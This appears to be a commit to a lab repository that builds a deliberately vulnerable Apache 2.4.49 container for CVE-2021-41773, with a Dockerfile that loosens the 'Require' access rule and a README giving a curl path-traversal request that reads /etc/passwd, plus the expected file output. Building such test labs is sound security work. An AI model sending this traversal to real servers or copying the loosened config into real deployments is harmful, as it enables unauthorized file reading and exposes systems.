First commit

2.4.49/Dockerfile

@@ -0,0 +1,7 @@
+FROM httpd:2.4.49
+LABEL maintainer = "12345qwert123456"
+
+RUN sed -i '/Require/s/denied/granted/' conf/httpd.conf
+RUN sed -i '/ServerName/s/www.example.com/127.0.0.1/' conf/httpd.conf
+RUN sed -i '/127.0.0.1/s/^#//g' conf/httpd.conf
+RUN httpd -k restart

README.md

@@ -1 +1,51 @@
-# CVE-2021-41773-Vulnerable-service
+# CVE-2021-41773 Vulnerable service
+
+## Installation
+
+Several options:
+
+### 1. Docker container
+```bash
+docker run -d -p 8080:80 12345qwert123456/apache_2_4_49_cve-2021-41773
+```
+
+### 2. Dockerfile
+```bash
+git clone https://github.com/12345qwert123456/CVE-2021-41773_Vulnerable-service.git
+
+cd CVE-2021-41773-Vulnerable-service/2.4.49
+
+docker build -t apache_2_4_49_cve-2021-41773 .
+
+docker run -d -p 8080:80 apache_2_4_49_cve-2021-41773
+```
+
+## Explotation
+
+Command:
+```bash
+curl --path-as-is "http://127.0.0.1:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd"
+```
+
+Expected output:
+```
+root:x:0:0:root:/root:/bin/bash
+daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
+bin:x:2:2:bin:/bin:/usr/sbin/nologin
+sys:x:3:3:sys:/dev:/usr/sbin/nologin
+sync:x:4:65534:sync:/bin:/bin/sync
+games:x:5:60:games:/usr/games:/usr/sbin/nologin
+man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
+lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
+mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
+news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
+uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
+proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
+www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
+backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
+list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
+irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
+gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
+nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
+_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
+```